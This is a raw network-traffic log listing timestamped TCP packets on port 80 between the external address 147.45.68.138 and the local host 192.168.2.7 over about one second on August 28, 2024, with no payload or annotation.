Aug 28, 2024 22:55:58.890247107 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.890252113 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.890261889 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.890295982 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.890304089 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.890328884 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.890340090 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.890372038 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.890383959 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.890429020 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.890988111 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.890999079 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.891005993 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.891045094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.891056061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.891060114 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.891066074 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.891077042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.891083002 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.891108990 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.891130924 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.968540907 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.968564987 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.968575001 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.968585014 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.968595028 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.968604088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.968615055 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.968622923 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.968745947 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.969283104 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.969300032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.969346046 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.969366074 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.969419956 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.969455957 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.969463110 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.969469070 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.969496965 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.969499111 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.969507933 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.969513893 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.969517946 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.969537973 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.969547987 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.969563961 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.971046925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.971091986 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.971096039 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.971103907 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.971134901 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.971143961 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.971148014 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.971158028 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.971168041 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.971189976 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.971206903 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.971851110 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.971862078 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.971872091 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.971904039 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.971915007 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.971939087 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.971949100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.971957922 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.971967936 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.971977949 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.971987963 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.972012043 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.972022057 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.973629951 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.973639965 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.973654032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.973664999 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.973680019 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.973697901 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.973732948 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.973738909 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.973743916 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.973752975 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.973771095 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.973794937 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.974761963 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.974778891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.974788904 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.974838018 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.974854946 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.974865913 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.974867105 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.974880934 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.974893093 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.974893093 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.974905014 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.974917889 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.974926949 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.974930048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.974940062 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.974950075 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.974960089 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.974976063 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.974997044 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.975023031 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.975033998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.975044012 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.975054979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.975070953 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.975080967 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.975100040 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.975105047 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.975112915 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.975122929 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.975133896 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.975143909 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.975152016 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.975155115 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.975172997 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.975188017 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.975208044 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.975750923 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.975799084 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.975804090 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.975836992 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.975856066 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.975867033 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.975878000 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.975888968 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.975898981 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.975914001 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.975929022 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.975936890 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.975939989 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.975950003 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.975975037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.975975037 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.975985050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.975997925 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.976016045 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.976017952 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.976027966 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.976038933 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.976054907 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.976061106 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.976078033 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.976102114 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.976130962 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.976145029 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.976155996 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.976169109 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.976180077 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.976191044 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.976195097 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.976217985 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.976227999 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.976279020 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.976289988 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.976300955 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.976310968 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.976321936 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.976332903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.976335049 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.976346016 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.976352930 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.976355076 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.976368904 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.976375103 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.976402044 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.976797104 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.976838112 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.976845026 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.976847887 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.976877928 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.976887941 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.976913929 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.976923943 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.976933002 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.976946115 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.976957083 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.976959944 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.976982117 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.977003098 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.977011919 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.977020979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.977057934 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.977081060 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.977091074 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.977101088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.977128983 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.977130890 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.977148056 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.977169991 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.977194071 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.977207899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.977217913 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.977226973 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.977236032 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.977243900 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.977255106 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.977261066 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.977272034 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.977272987 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.977282047 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.977289915 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.977293015 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.977299929 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.977304935 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.977324009 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.977340937 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.977794886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.977843046 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.977853060 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.977890015 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.977910995 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.977926970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.977936983 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.977947950 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.977960110 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.977969885 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.977982998 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.978005886 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.055485964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.055511951 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.055524111 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.055535078 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.055548906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.055555105 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.055567980 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.055587053 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.055633068 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.056284904 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.056339979 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.056376934 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.056386948 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.056431055 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.056432009 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.056444883 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.056454897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.056466103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.056478024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.056487083 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.056509972 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.056519985 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.058008909 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.058047056 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.058058977 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.058060884 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.058092117 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.058098078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.058110952 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.058121920 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.058132887 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.058145046 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.058152914 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.058176994 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.058199883 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.058722019 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.058774948 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.058808088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.058819056 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.058835983 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.058846951 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.058857918 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.058882952 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.058897018 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.058907986 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.058918953 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.058943033 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.058965921 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.060534000 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.060556889 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.060569048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.060586929 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.060600042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.060610056 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.060614109 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.060625076 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.060636997 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.060648918 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.060652018 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.060662985 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.060686111 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.061585903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.061604023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.061614037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.061640978 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.061666965 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.061711073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.061728954 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.061738968 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.061774969 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.061786890 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.061813116 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.061825037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.061836004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.061847925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.061858892 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.061868906 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.061893940 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.061904907 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.061916113 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.061925888 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.061954975 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.061975956 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.062006950 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.062017918 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.062027931 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.062037945 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.062048912 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.062060118 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.062066078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.062072039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.062084913 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.062087059 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.062094927 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.062112093 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.062125921 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.062139034 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.062871933 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.062882900 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.062894106 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.062905073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.062926054 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.062946081 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.062982082 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.062999964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063010931 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063021898 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063025951 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.063033104 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063044071 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063050032 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.063060999 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063071012 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.063071966 CEST	80	49731	147.45.68.138	192.168.2.7
